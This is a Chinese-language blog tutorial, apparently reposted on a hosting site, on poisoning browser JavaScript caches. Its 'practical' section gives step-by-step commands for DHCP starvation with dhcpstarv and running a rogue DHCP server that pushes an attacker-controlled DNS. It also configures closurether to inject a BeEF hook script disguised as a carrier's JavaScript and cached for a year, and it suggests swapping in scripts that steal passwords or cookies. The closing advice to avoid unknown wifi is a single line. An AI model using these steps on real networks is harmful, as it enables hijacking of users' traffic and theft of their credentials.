Javascript缓存投毒学习与实战

0x00 起因

不久前@三好学生师傅买了一个wooyun wifi,然后聊到了缓存投毒:

 

 

然后看到wooyun wifi的这个说明:

默认情况下该功能附带缓存投毒功能,将视图缓存所有的页面至2099年,您可以通过清除所有缓存以及浏览器数据来清除缓存投毒的影响。

觉得这是个很不错的技术,所以查询谷爷,度娘,拜读了@EtherDream 大牛写的文章以后,就有了这篇文章,也算是一个总结。

0x01 简介&原理

js缓存投毒说白了就是受害者的浏览器缓存了一个被我们篡改的js脚本,如果缓存没有被清除,每次这个受害者访问网页的时候都会加载我们的js脚本。

那他是什么原理呢,很简单,其实就是浏览器的缓存机制,通常,为了加速各种静态资源的访问,各大网站会把一些静态资源缓存到客户端,这样一方面能提高客户体验,一方面也能减轻web服务器的压力。

浏览器缓存控制机制有两种:HTML Meta标签 以及 HTTP头信息,通常,web开发者可以在HTML页面的head节点中加入Meta标签,比如:

 

  1. <META HTTP-EQUIV="Pragma" CONTENT="no-cache"> 

 

代码的作用是告诉浏览器当前页面不被缓存,每次访问都需要去服务器拉取。 更多浏览器缓存机制我就不多说了,详情请戳我。

要想预加载并缓存一个脚本很容易,只需new Image().src=”。当然有少数浏览器不支持,不过ie和chrome都是支持的。尽管js文件并不是一个图片,但仍然会缓存。

0x02 准备工作

安装node

wget https://codeload.github.com/nodejs/node/zip/master -O node-master.zip //下载

tar zxvf node-master.zip //解压

cd node-master

./configure

make //编译

make install //安装

安装closurether

npm install -g closurether

安装phantomjs

下载安装,具体详见phantomjs,根据自己的系统进行选择。

0x03 示例

测试过程中,使用了EtherDream大牛的demo。具体过程如下。

下载安装:

root@kali:~/Desktop/# git clone https://github.com/EtherDream/mitm-http-cache-poisoning.git js
root@kali:~/Desktop/# cd js
root@kali:~/Desktop/js/# npm install

更新缓存列表

root@kali:~/Desktop/js# cd tool/
root@kali:~/Desktop/js/tool# phantomjs sniffer.js -i url.txt -o target.json

 

 

这个脚本的作用主要是为了找出各大网站中缓存最久的脚本资源,也就是我们要进行投毒的脚本链接。网站可以再url.txt里面添加,之后将生成的json复制到 asset 目录。

root@kali:~/Desktop/js/tool# cp -fr target.json ../asset/

运行

root@kali:~/Desktop/js/tool# cd ..
root@kali:~/Desktop/js# node index.js

测试:

浏览器代理 HTTP -> 127.0.0.1:8080 访问任意 HTTP。

 

 

关闭代理 打开126,360等网站(chrome测试成功,火狐失败)成功弹框。

 

 

关闭浏览器(不清除缓存),再次打开,访问360时依然会弹框。

其中,index.js实现了代理并替换原本静态脚本响应内容,并将响应头中Cache-Control字段改为max-age=31536000,如下图代码:

 

 

而替换的脚本为asset目录下的stub.js,stub.js注入外部js关键代码如下图:

 

 

其中www.etherdream.com/hack/trojan.js 为我们可控的js,上例中该js的内容为

alert('xss run: ' + location.href);

我们可以通过修改该脚本内容来实现不同的功能。

0x04 实战

此次实战在局域网中结合使用了dhcpstarv,isc-dhcp-server,beef以及closurether。攻击机使用了kali2.0。

1.开启beef

root@kali:~# cd /usr/share/beef-xss/
root@kali:/usr/share/beef-xss# ./beef

2.配置closurether

获取最新的缓存列表

root@kali:~# cd /usr/local/lib/node_modules/closurether/tool/cache-sniffer
root@kali:/usr/local/lib/node_modules/closurether/tool/cache-sniffer# phantomjs sniffer.js

可以通过修改url.txt的内容来指定网站,此次测试过程中url中包含126以及360几个网站。 配置config.json文件如下:

{
        "hacker_url": "http://192.168.1.108:3000/hook.js",
        "inject_url": "http://10086.cn/js10086/201306301200.js",
        "debug": false,
        "dump": false,
        "dumpPath": "./dump/"
}

其中hacker_url为我们的js地址,此处为beef的js地址,inject_url 为伪装的js地址。

运行closurether:

root@kali:~# closurether
[SYS] local ip: 192.168.1.108
[DNS] running 0.0.0.0:53
[WEB] listening :::80
[WEB] listening :::443

2.进行dhcp攻击:

下载dhcpstarv,安装:

root@kali:~/Desktop# tar zxvf dhcpstarv-0.2.1.tar.gz
root@kali:~/Desktop# cd dhcpstarv-0.2.1/
root@kali:~/Desktop/dhcpstarv-0.2.1# ./configure
root@kali:~/Desktop/dhcpstarv-0.2.1# make
root@kali:~/Desktop/dhcpstarv-0.2.1# make install

Kali默认没有安装dhcpstarv,也可以用yersinia代替

安装dhcp服务器:

root@kali:~# apt-get install isc-dhcp-server

修改dhcp配置文件dhcpd.conf

root@kali:~# cd /etc/dhcp/
root@kali:/etc/dhcp# cp dhcpd.conf dhcpd.conf.bak
root@kali:/etc/dhcp# vim dhcpd.conf

修改DHCP分配的地址池,修改默认路由为原来路由的Ip,修改广播地址:

 

 

设置dns为开启了closurether的地址,如下图:

 

 

这里最好加一个正常的DNS服务器地址最为备选,防止我们的DNS服务对部分域名不解析

开启操作系统的路由转发:

root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward

启动DHCP服务:

root@kali:/etc/dhcp# service isc-dhcp-server start

攻击正常的dhcp服务器,耗光ip资源:

root@kali:~# dhcpstarv -i eth0 -e 192.168.1.108

-e参数后面跟攻击者的ip

 

 

然后当有客户端连入的时候,由于正常的DHCP服务器已经没有可分配的IP资源,新的内网主机就会使用攻击者DHCP服务器分配的IP,如下图:

 

 

可以看到DNS已经改成了我们想要改的地址。

这里说明下,如果可以直接进路由修改DNS,就直接进路由改,这样比较稳定,修改DNS为我们运行closurether的地址。

主要工具运行截图:

 

 

这时,被篡改DNS的客户端浏览网站的时候,就会运行我们植入的JS脚本,打开126以后,可以看到beef那里已经成功上线了:

 

 

而我们的js则已经被隐藏为10086的js

 

 

将路由器重启,使用正常的DHCP为虚拟机分配ip地址,使用浏览器(未清理缓存)打开360:

 

 

这时可以看到beef上又上线了:

 

 

beef的功能很强大,但不是本文的重点,当然js也可以换成其他,别如窃取某些网站的账号密码的js,或者获取客户端cookie的等等,这里就不多说了

这样就达到了时光机的效果,虽然上网环境换了,但是由于浏览器的缓存没有清除,任然会执行我们的js,至此整个攻击完成。

0x05 总结

从上面的整个过程可以得出的结论就是不要随意通过不认识的wifi上网!

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/141945.html<

(0)
管理的头像管理
上一篇2025-03-04 15:37
下一篇 2025-03-04 15:38

相关推荐

  • 云服务器和云虚拟主机怎么选?云服务器和虚拟主机区别

    云服务器适合业务增长快、需弹性扩展的场景,而云虚拟主机适合预算有限、技术门槛低的小型静态网站或测试环境,二者核心区别在于资源独享性与运维复杂度,核心差异解析:从底层架构到使用体验很多人容易混淆这两者,觉得它们都是“买空间建站”,它们的底层逻辑完全不同,云服务器(ECS)就像是你租了一整栋别墅,水电网络独立,你想……

    2026-06-29
    0
  • 赣州智慧旅游招聘是真的吗?赣州旅游人才招聘信息

    中级岗位(3-5年经验)月薪范围通常在6000-10000元,这类岗位需要独立负责项目模块,如独立运营一个抖音账号,或维护一个景区小程序的功能迭代,具备成功案例的候选人议价能力较强,高级岗位(5年以上经验)月薪范围通常在10000-20000元,部分核心管理岗可达更高,这类人才需要具备战略规划能力,如制定整个景……

    2026-06-29
    0
  • 赣州智能物联网车位锁如何管理?智能车位锁管理系统多少钱

    赣州智能物联网车位锁管理的核心在于通过云端平台实现远程控锁、状态实时监控及自动计费,彻底解决传统车位“被占难管”与“找位难”的痛点,在赣州这样的城市,随着机动车保有量的持续增长,老旧小区、商业综合体以及私人固定车位的资源矛盾日益凸显,传统的机械地锁或简易遥控锁,不仅操作繁琐,更无法实现数据化管理,引入智能物联网……

    2026-06-29
    0
  • 赣州智能消防栓好用吗,智能消防栓多少钱一个

    赣州智能消防栓通过物联网技术实现实时监测与远程报警,能显著降低火灾响应时间并提升城市消防安全管理水平,是目前智慧城市建设中不可或缺的基础设施,赣州智能消防栓的核心价值与应用场景传统消防栓往往存在“看不见、摸不着、用不了”的痛点,在赣州这样地形复杂、老城区与新城区并存的区域,传统设施的管理难度极大,智能消防栓的出……

    2026-06-29
    0
  • 云服务器和物理机到底有啥区别?

    云服务器本质上是虚拟化资源池中的弹性实例,而传统物理服务器是独占的硬件实体,前者胜在弹性与运维便捷,后者强在物理隔离与性能稳定,具体选择取决于业务对成本、扩展性及安全合规的权衡,很多人初次接触服务器时,容易把“云服务器”和“传统物理服务器”混为一谈,觉得它们都是用来跑网站或存数据的盒子,这两者的底层逻辑完全不同……

    2026-06-29
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注